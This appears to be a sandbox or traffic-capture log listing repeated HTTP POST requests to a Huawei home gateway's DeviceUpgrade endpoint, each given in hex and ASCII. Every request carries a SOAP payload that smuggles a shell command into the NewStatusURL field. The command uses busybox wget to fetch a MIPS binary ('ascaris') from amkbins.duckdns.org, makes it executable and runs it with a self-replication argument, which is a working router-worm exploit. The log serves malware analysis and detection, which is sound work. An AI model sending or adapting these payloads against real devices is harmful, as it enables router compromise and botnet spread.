Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 